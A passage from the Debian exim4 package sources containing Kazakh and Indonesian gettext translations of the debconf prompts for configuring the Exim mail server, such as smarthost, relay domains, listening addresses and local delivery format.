than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Ескерту: postmaster поштасы осы жүйеден тыс шықпауы тиіс. Сондықтан осы " "тізімдегі кемінде бір пайдаланушының поштасы осы машинада қалуы тиіс. " "Жергілікті жеткізуді күштеп пайдалану үшін 'real-' префиксін қолдануға " "болады." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Бірнеше пайдаланушы атының арасында бос орын болуы тиіс." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Кіріс SMTP байланысын тыңдауға арналған IP адрес:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Үтір-нүктемен ажыратылған IP адрестер енгізіңіз. Exim SMTP тыңдаушы қызметі " "осында көрсетілген барлық IP адрестерді тыңдайды." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Егер бұл мән көрсетілмесе, Exim барлық қол жеткілікті желілік интерфейсті " "тыңдайды." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Егер бұл жүйе жергілікті қызметтердің ғана поштасын қабылдайтын болса, " "сыртқы байланыстардың тыйылуын ұсынуға болады. Жергілікті қызмет ретінде " "localhost арқылы байланысатын электрондық пошта клиентін (MUA) және " "fetchmail айтуға болады. Сыртқы байланыстарды тыю және жалпыға қол " "жеткілікті желілік интерфейсті тыңдамау үшін 127.0.0.1 енгізу керек." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "DNS сұраныстарының санын азайтып отыруды (Dial-on-Demand) қалайсыз ба?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Қалыпты жағдайда, Exim DNS іздеуін жұмыс бастағанда ғана іске асырады. Бұл " "мүмкіндік баптауда бекітіп көрсетілген мәндерді төмендету үшін және логтау " "мақсаттарында жасалған." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Егер жүйе DNS қызметіне тұрақты түрде қатынай алмаса (мысалы интернетке " "қашықтан қатынау пайдаланған кезде), бұл мүмкіндіктің кері әсері тиюі " "мүмкін. Мысалы, Exim жұмысын бастағанда, қымбат уақыт кезінде звондау " "орындалып кетуі мүмкін. " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Бұл опция жүйе қашықтан қатынау кезінде ғана (Dial-on-Demand) таңдалуы тиіс. " "Егер интернетке байланыс әрқашан орнатылып тұрса, бұл опцияны таңдау қажет " "емес." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Пошта Серверін бапту" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Баптауды кіші файлдарға бөлуді қалайсыз ба?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian exim4 дестелері 'тұтас баптау', яғни бір файлдыдағы баптауды (/etc/" "exim4/exim4.conf.template) немесе 'бөлінген баптау', яғни /etc/exim4/conf.d/ " "ішіндегі 50 кіші файлдардағы баптауды пайдалана алады." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Тұтас баптау үлкен өзгерістер үшін арналған. Ал бөлінген баптау аздаған " "өзгерістер үшін ыңғайланған, алайда олардың саны көп болғандықтан, байқап " "жұмыс істемегенде, баптау бұзылуы мүмкін." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Тұтас және бөлінген баптау туралы толығырақ мәліметті Debian жүйесіне " "қатысты /usr/share/doc/exim4-base ішіндегі README файлдан оқуға болады." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Шығыс поштадағы жергілікті пошта атын жасыруды қалайсыз ба?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Шығыс поштаның тақырып атауы басқа жүйеде жасалғандай етіп, қайта жазылуы " "мүмкін. Егер осы опция таңдалса, From, Reply-To, Sender және Return-Path " "жолындағы '${mailname}', 'localhost' және '${dc_other_hostnames}' қайта " "жазылады." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ ішіндегі mbox пішім" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Үй бумасындағы Maildir пішімі" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Жергілікті поштаны жеткізу әдісі:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim жергілікті түрде жеткізілген поштаны әр түрлі пішімде сақтай алады. Жиі " "пайдаланылатыны: mbox пен Maildir. mbox пошта бумасын /var/mail/ ішінде бір " "файл түрінде сақтайды. Maildir әрбір хабарды ~/Maildir/ ішінде жеке-жеке " "сақтайды." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Ескерту: Debian құрамындағы пошталық құралдардың көбісі жергілікті поштаның " "жеткізу әдісі ретінде mbox пішімін қолданады." debian/po/id.po0000644000000000000000000007703712027557533010567 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-19 16:46+0700\n" "Last-Translator: Arief S Fitrianto \n" "Language-Team: Debian Indonesia \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Hapus surat-surat yang tak terkirim dalam direktori spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Ada surat-surat di direktori spool milik exim, /var/spool/exim4/input, yang " "belum terkirim. Membuang Exim akan meyebabkan surat-surat tersebut tak " "terkirim sampai Exim terpasang kembali." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Jika pilihan ini tidak diambil, direktori spool tak disentuh, sehingga pesan-" "pesan di dalamnya dapat dikirimkan kembali setelah Exim dipasang-ulang." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Konfigurasi ulang exim4-config, bukannya paket ini " #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 memiliki konfigurasi yang diletakkan terpisah dalam paket 'exim4-" "config'. Jika Anda ingin konfigurasi-ulang Exim4, gunakan 'dpkg-reconfigure " "exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "situs internet; surate dikirim dan diterima langsung lewat SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "surate dikirim lewat smarthost; diterima lewat SMTP atau fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "surate dikirim lewat smarthost; tidak ada surate lokal" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "hanya pengiriman lokal; bukan lewat jaringan" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "tidak ada konfigurasi untuk saat ini" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Jenis konfigurasi surate secara umum:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Silahkan pilih jenis konfigurasi server yang sesuai dengan kebutuhan anda." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistem dengan alamat IP dinamis, termasuk yang memakai telepon, umumnya " "harus dikonfigurasi agar mengirimkan surate keluar dengan menggunakan " "komputer lain sebagai pengirim, disebut sebagai \"smarthost\" karena " "kebanyakan sistem di internet menolak surate yang datang dari alamat IP " "dinamik sebagai perlindungan dari spam." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Suatu sistem dengan alamat IP dinamik dapat menerima surat sendiri, atau " "pengiriman lokal dapat dimatikan seluruhnya (kecuali surat untuk root dan " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Benar-benar meninggalkan sistem surate tanpa konfigurasi?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Sebelum sistem surate Anda dikonfigurasi, sistem ini akan rusak dan tidak " "dapat digunakan. Konfigurasi dapat dilakukan di lain waktu, baik secara " "manual atau dengan menjalankan \"dpkg-reconfigure exim4-config\" sebagai " "root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nama sistem surate:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'Nama Surat' adalah nama domain untuk 'mensahkan' alamat-alamat surat tanpa " "nama domain." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Nama ini juga akan digunakan oleh program-program lain. Ia harus ditulis " "jadi satu, nama domain lengkap (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Contohnya, jika sebuah alamat surat pada host lokal adalah foo@domain.org, " "maka nilai yang benar untuk pilihan ini adalah domain.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Nama ini tidak akan muncul pada baris 'From:' dari surate keluar jika anda " "mengaktifkan fitur penulisan-ulang. " #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Alamat surate tujuan lain yang diterima:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Silahkan masukkan sebuah daftar (dipisahkan dengan titik-koma) domain yang " "dianggap oleh komputer ini sebagai alamat tujuan akhir. Domain-domain ini " "biasanya disebut \"domain lokal\". Nama host lokal (${fqdn}) dan \"localhost" "\" selalu dimasukkan dalam daftar. " #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Secara bawaan, semua domain akan diperlakukan sama. Jika a.example dan b." "example adalah domain lokal, maka acc@a.example dan acc@b.example akan " "dikirimkan ke tujuan akhir yang sama. Jika diperlukan perlakuan yang berbeda " "untuk tiap domain, penting untuk menyunting berkas konfigurasi setelah ini." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domain yang akan direlai:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Silakan masukkan daftar (dipisahkan dengan titik-koma) domain penerima yang " "akan diteruskan oleh sistam ini, misalnya sebagai MX cadangan atau gerbang " "surate. Ini berarti bahwa sistem ini akan menerima surat untuk domain-domain " "tersebut dari manapun dan meneruskannya sesuai dengan aturan pengiriman " "lokal." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Jangan masukkan domain lokal di sini. Wildcard dapat pula digunakan." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Mesin yang akan direlai:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Silahkan masukkan daftar (dipisahkan dengan titik-koma) rentang alamat IP " "yang akan diteruskan oleh sistem ini, menjadikan sistem ini sebagai " "smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Anda harus menggunakan bentuk alamat/awalan standar (contohnya: " "194.222.242.0/24 atau 5f03:1200:836f::/48). " #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "Jika sistem ini bukan smarthost, biarkan daftar ini kosong." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nama domain yang terlihat untuk pengguna lokal: " #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Pilihan untuk menyembunyikan nama surat lokal dalam surat keluar telah " "diaktifkan. Karena itu, penting untuk menentukan nama domain yang digunakan " "sistem ini sebagai domain untuk alamat pengirim pengguna lokal. " #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Alamat IP atau nama host untuk smarthost ke luar: " #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Silahkan masukkan alamat IP atau nama host yang akan digunakan sebagai " "smarthost oleh sistem ini. Jika smarthost hanya menerima surat lewat port " "yang berbeda dari TCP/25. tambahkan dua titik-dua dan nomor portnya " "( contoh: smarthost.example::587 atau 192.168.254.254::2525). Titik-dua pada " "alamat IPv6 ditulis dua-kali." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Jika smarthost mengharuskan otentikasi, lihat berkas README khusus Debian " "di /usr/share/doc/exim4-base tentang pengaturan otentikasi SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Penerima surate untuk root dan postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Surat untuk 'portmaster', 'root', dan akun sistem lainnya perlu diarahkan ke " "akun pengguna dari administrator sistem sesungguhnya." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Jika ruas ini kosong, surat akan disimpan di /var/mail/mail. Hal ini sangat " "tidak dianjurkan." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Catatan: surat untuk postmaster harus dibaca di sistem yang diarahkan, " "bukannya diteruskan ke tempat lain. Jadi (paling tidak satu) pengguna di " "sistem ini tidak meneruskan surate mereka ke sistem lain. Sebuah awalan " "'real-' dapat digunakan untuk memaksakan pengiriman lokal." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Nama pengguna yang banyak perlu dipisahkan oleh spasi." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "" "Alamat-alamat IP yang digunakan untuk menerima koneksi SMTP yang datang:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Silahkan masukkan daftar (dipisahkan dengan titik-koma) alamat IP. Daemon " "penjejak SMTP Exim akan menggunakan semua alamat IP yang terdaftar di sini." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Jika dikosongkan, Exim akan menerima koneksi port SMTP pada semua perangkat " "antarmuka jaringan yang ada." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Jika sistem ini hanya menerima surate langsung dari layanan lokal, sangat " "dianjurkan untuk melarang sambungan dari luar ke server Exim. Layanan lokal " "tersebut misalnya fetchmail atau program surat-e Anda (MUA) yang terhubung " "ke host lokal. Sambungan dari luar tidak akan terjadi bila 127.0.0.1 " "dimasukkan di sini. Ini akan mencegah Exim menerima sambungan dari antarmuka " "jaringan publik. " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Jaga jumlah permintaan DNS minimal (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Pada modus normal, Exim beroperasi menggunakan DNS saat dijalankan, saat " "menerima atau mengirim pesan. Hal ini bertujuan untuk keperluan pencatatan " "log dan untuk tetap menjaga agar jumlah nilai variabel yang telah ditentukan " "sebelumnya di berkas konfigurasi tetap kecil." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Jika sistem ini tidak mempunyai akses server DNS permanen setiap saat " "(misalkan: jika sistem ini menggunakan akses telepon menggunakan dial-on-" "demand), hal ini dapat menghasilkan akibat yang tak diharapkan. Contohnya, " "menjalankan Exim atau queue (bahkan tanpa adanya surate yang menunggu) dapat " "mengakibatkan sambungan dialup yang mahal. " #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Pilihan ini sebaiknya dipilih jika sistem ini menggunakan 'Dial-on-Demand'. " "Jika selalu terhubung ke internet, pilihan ini harus dimatikan." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Konfigurasi Server Surate" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Pecah berkas konfigurasi menjadi berkas yang kecil?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Paket Exim4 Debian dapat menggunakan 'konfigurasi terpadu', sebuah berkas " "tunggal (/etc/exim4/exim4.conf.template) atau 'konfigurasi terpisah', tempat " "berkas konfigurasi Exim yang sesungguhnya dipecah menjadi 50 berkas di dalam " "direktori /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Konfigurasi terpadu cocok untuk penyuntingan besar-besaran dan umumnya lebih " "stabil, sedangkan konfigurasi terpisah lebih nyaman untuk penyuntingan kecil-" "kecilan tetapi lebih rentan dan dapat mengacaukan sistem jika salah " "konfigurasi. " #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Penjelasan lebih rinci tentang konfigurasi terpisah dan terpadu dapat " "ditemukan berkas README khusus Debian di /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Sembunyikan nama surate lokal pada surate keluar?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Header surate yang dikirimkan ke luar dapat ditulis ulang agar terlihat " "seperti dikirimkan dari sistem yang berbeda. Jika pilihan ini diambil, " "'${mailname}', 'localhost', dan '${dc_other_hostnames}' di baris-baris From, " "Reply-To, Sender dan Return-Path akan ditulis ulang. " #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Format mbox di /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Format Maildir di direktori home" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Metode pengiriman untuk surate lokal: " #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim dapat menyimpan surate lokal dalam format beragam. Yang paling banyak " "digunakan adalah mbox dan Maildir. mbox menggunakan berkas tunggal untuk " "menyimpan seluruh surat dalam direktori /var/mail/. Dengan Maildir, setiap " "pesan tunggal disimpan dalam berkas terpisah di ~/Maildir/" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Catatan: kebanyakan program dalam Debian mengira metode pengiriman lokal " "dalam bentuk mbox." #~ msgid "Overwrite existing /etc/aliases?" #~ msgstr "Timpa isi berkas /etc/aliases yang telah ada?" #~ msgid "" #~ "An /etc/aliases file was found on the system, but it does not redirect " #~ "mail for root to a user account, which is strongly recommended." #~ msgstr "" #~ "Anda telah mempunyai berkas /etc/aliases, tetapi tidak mengalihkan surate " #~ "untuk root ke pengguna biasa, yang sangat dianjurkan. " #~ msgid "" #~ "Accepting this option will cause /etc/aliases to be overwritten, and the " #~ "old file will be renamed to aliases.O." #~ msgstr "" #~ "Dengan menerima pilihan ini akan menyebabkan /etc/aliases ditimpa dan " #~ "berkas lama akan dipindahkan ke aliases.O." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Pindahkan surat-surat yang belum terkirim dari spool exim 3 ke exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Ada beberapa surat yang tak terkirim dalam direktori spool exim 3 (atau " #~ "exim-tls 3): /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Pilihan ini akan memindahkan pesan-pesan ini ke spool exim4 (/var/spool/" #~ "exim4/input/) yang selanjutnya akan ditangani oleh exim4" #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Hal ini hanya bekerja searah: Exim4 dapat menangani spool exim v3 tapi " #~ "tidak sebaliknya. Jika tidak mengambil pilihan ini, pesan-pesan tersebut " #~ "harus dipindahkan secara manual atau tidak akan pernah dikirimkan." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Membiarkan ruas ini kosong berarti Exim tidak akan melakukan pengiriman " #~ "lokal." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Hati-hati! Proses ini hanya dapat bekerja dalam satu-arah, exim4 dapat " #~ "mengurusi spool milik exim(v3) tetapi bukan sebaliknya." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Pindahkan surate hanya jika anda tidak memiliki rencana untuk kembali ke " #~ "exim(v3), sebaliknya, surate jangan dipindahkan sekarang tetapi akan " #~ "dipindahkan secara manual setelah anda mengubah pengaturan surate anda." #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Jika terdapat domain yang lain, silakan masukkan disini sekarang, " #~ "dipisahkan dengan tanda titik koma (;). Kosongkan jika tidak ada." #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Silakan masukkan di sini nama domain yang akan diteruskan oleh sistem " #~ "ini, misalnya sebagai MX cadangan atau gerbang surate." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Domain relai adalah domain yang dipersiapkan untuk menerima 